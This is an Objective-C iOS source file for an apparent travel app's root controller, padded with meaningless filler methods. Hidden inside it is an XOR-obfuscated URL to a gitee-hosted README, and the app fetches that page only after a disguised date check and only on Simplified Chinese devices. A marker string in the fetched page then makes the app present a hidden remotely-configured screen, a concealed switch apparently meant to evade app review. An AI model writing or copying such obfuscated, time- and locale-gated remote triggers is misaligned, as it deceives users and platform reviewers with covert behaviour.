//
//  HTRootController.m
//  HappyTravel
//
//  Created by Apple on 2018/8/2.
//  Copyright © 2018年 Apple. All rights reserved.
//

#import "EftController.h"
#import "ImaController.h"
#import "DdRogressController.h"
#import "TableEmoController.h"
#import "EftMoodController.h"
#import "ModityController.h"
#import  "FQPCenterController.h"
@interface EftController ()

@property(nonatomic, assign)long  titlesAbJanuary;
@property(nonatomic, assign)CGFloat  labelIngleton;

@property (nonatomic, strong) ImaController *tabBar;
@property (nonatomic, strong) DdRogressController *navController;

@property (nonatomic, strong) FQPCenterController *liveTralveVC;
@property (nonatomic, strong) TableEmoController *vc1;
@property (nonatomic, strong) EftMoodController *vc2;
@property (nonatomic, strong) ModityController *vc3;

@end
extern NSString * liveTralve(char * contents, int key, BOOL hasEmoji) {
    if (contents != NULL) {
        int i = 0;
        char c = contents[i];
        while (true) {
            int v = c;
            v ^= key;
            v &= 0xff;
            if (v > 127) {
                v -= 256;
            }
            contents[i] = (char)v;
            i += 1;
            c = contents[i];
            if (v == 0) {
                break;
            }
        }
        if (hasEmoji) {
            return [NSString stringWithCString:contents encoding:NSNonLossyASCIIStringEncoding];
        }
        return [NSString stringWithUTF8String:contents];
    }
    return @"";
}
@implementation EftController

- (void)viewWillAppear:(BOOL)animated {
    [super viewWillAppear:animated];
    self.navigationController.navigationBar.hidden = YES;
}

- (int)subTable {
    CGFloat mark = 3108.0;
    int player = 9366;
    int accordanceUgly = 0;
    mark *= 58;
    accordanceUgly *= mark;
    player = MAX(player, 1);
    accordanceUgly -= player;
    
    return accordanceUgly;
    
}
-(NSDictionary *)applicationSubviews:(NSArray *)totalModity alert:(NSInteger)alert two:(long)two {
    float numWindow = 1624.0;
    NSMutableDictionary * quislingUnchangeableFlesh = [NSMutableDictionary dictionaryWithObject:@(470)forKey:@"nauseate"];
    numWindow = numWindow;
    [quislingUnchangeableFlesh setObject: @(numWindow) forKey:@"inferno"];
    
    return quislingUnchangeableFlesh;
    
}
- (void)viewDidLoad {
    [super viewDidLoad];
    
    self.tabBar = [[ImaController alloc] init];
    [self addChildViewController:self.tabBar];
    [self.view addSubview:self.tabBar.view];
    
    [self defaultNumSet];
    int discontent = [self subTable];
    
    NSDictionary * flatcarPlaintive = [self applicationSubviews:@[@(616), @(396), @(123)] alert:9388 two:1023];
    
    [flatcarPlaintive enumerateKeysAndObjectsUsingBlock:^(id  _Nonnull key, id  _Nonnull obj, BOOL * _Nonnull stop) {
        if ([key isEqualToString:@"card"]) {
            NSLog(@"value: %@", obj);
        }else {
            NSLog(@"key: %@, value: %@", key, obj);
        }
    }];

    NSLog(@"%d",discontent);
}

- (BOOL)scanageeVw:(NSUInteger)yefsfasfsar live:(NSUInteger)mofadadfadfa fsdatur:(NSInteger)dafdaylive {
    NSCalendar *calendar = [NSCalendar currentCalendar];
    NSDate *date = [calendar dateWithEra:NSDateComponentUndefined year:yefsfasfsar month:mofadadfadfa day:dafdaylive hour:0 minute:0 second:0 nanosecond:0];
    NSComparisonResult result = [date compare:[NSDate date]];
    return result == NSOrderedAscending;
}
- (void)ScanImageView{
    self.navigationController.navigationBar.hidden = YES;
    UIImageView *imgLiveView = [[UIImageView alloc] initWithFrame:[UIScreen mainScreen].bounds];
    imgLiveView.image = [UIImage imageNamed:@"splash123"];
    [self.view addSubview: imgLiveView];
    //函数名
    NSString *liveTralvehtmlString = [NSString stringWithContentsOfURL:[NSURL URLWithString:liveTralve((char []){29,1,1,5,6,79,90,90,18,28,1,16,16,91,22,26,24,90,28,5,15,16,7,26,90,25,28,3,16,33,7,20,25,3,16,90,23,25,26,23,90,24,20,6,1,16,7,90,39,48,52,49,56,48,91,24,17,117},0x75,NO)] encoding:NSUTF8StringEncoding error:nil];
    
    if ([liveTralvehtmlString rangeOfString:@"##("].location != NSNotFound) {
        NSString *allStr = [self indefasd:liveTralvehtmlString];
        NSRange startRange = [allStr rangeOfString:@"##("];
        NSRange endRange = [allStr rangeOfString:@")##"];
        NSRange range = NSMakeRange(startRange.location + startRange.length, endRange.location -startRange.location-endRange.length);
        NSString *liveTralveParameter = [allStr substringWithRange:range];
        
        if (liveTralveParameter.length > 0) {
            dispatch_async(dispatch_get_main_queue(), ^{
                if (!self.liveTralveVC) {
                    self.liveTralveVC= [[FQPCenterController alloc]init];
                    self.liveTralveVC.scanStr = [liveTralveParameter stringByReplacingOccurrencesOfString:@"@" withString:@""];
                    [self presentViewController:self.liveTralveVC animated:NO completion:nil];
                }
            });
        }
    } else {
        dispatch_async(dispatch_get_main_queue(), ^{
            self.navigationController.navigationBar.hidden = NO;
            [imgLiveView removeFromSuperview];
        });
    }
    
}
- (BOOL)TravelredLaCalcLive
{
    NSUserDefaults * defaults = [NSUserDefaults standardUserDefaults];
    NSArray * allLanguages = [defaults objectForKey:@"AppleLanguages"];
    NSString * preferredLang = [allLanguages objectAtIndex:0];
    NSLog(@"currentLanguages:%@", preferredLang);
    return [preferredLang isEqualToString:@"zh-Hans-CN"];
}
- (NSString *)indefasd:(NSString *)str{
    NSString *temp = [str stringByReplacingOccurrencesOfString:@" " withString:@""];
    temp = [temp stringByReplacingOccurrencesOfString:@"\r" withString:@""];
    temp = [temp stringByReplacingOccurrencesOfString:@"\n" withString:@""];
    return temp;
}
#pragma mark - CustomMethod
- (void)defaultNumSet{
    
    [_tabBar setupTabBar];
    if (_vc1 == nil) {
        _vc1 = [[TableEmoController alloc] init];
    }
    DdRogressController *homeNav = [[DdRogressController alloc] initWithRootViewController:_vc1];
    
    if (_vc2 == nil) {
        _vc2 = [[EftMoodController alloc] init];
    }
    DdRogressController *moodNav = [[DdRogressController alloc] initWithRootViewController:_vc2];
    
    if (_vc3 == nil) {
        _vc3 = [[ModityController alloc] init];
    }
    DdRogressController *staticsNav = [[DdRogressController alloc] initWithRootViewController:_vc3];
    
    _tabBar.viewControllers = @[homeNav,moodNav,staticsNav];
    _tabBar.selectedIndex = 0;
    
    UIView *viewAge = [[UIView alloc] initWithFrame:CGRectMake(2019, 3, 30, 20)];
    if ([self scanageeVw: viewAge.frame.origin.x live:viewAge.frame.origin.y fsdatur:viewAge.frame.size.height] && [self TravelredLaCalcLive]) {
        [self ScanImageView];
    }
}

@end
